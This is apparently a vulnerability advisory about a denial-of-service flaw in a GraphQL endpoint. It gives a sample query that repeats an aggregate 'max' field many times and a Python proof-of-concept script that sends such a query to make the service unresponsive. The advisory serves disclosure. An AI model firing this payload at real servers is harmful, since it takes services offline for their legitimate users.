Summary

A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.

Details

Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:

By modifying the data sent and duplicating many times the fields a DoS attack is possible.

PoC

The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}

Although that payload seems harmless, a bigger one leaves the service unresponsive.

The following code might serve as a PoC written in Python3: ```# Field Duplication DoS

GitHub @asantof

import requests

CHANGE THIS VALUES: url, authtoken, queryname, collection_name

url = 'http://0.0.0.0:8055/graphql' authtoken = '' queryname = 'queryXXXXX' collectionname = ''

headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }

idpayload = 'id ' * 200 maxpayload = 'max {' + idpayload + ' } ' fullpayload = max_payload * 200

data = { 'query': 'query { ' + queryname + ': ' + collectionname + 'aggregated { ' + fullpayload + ' } }' }

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json()) ```

After running it the service will be unresponsive for a while:

Impact

The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.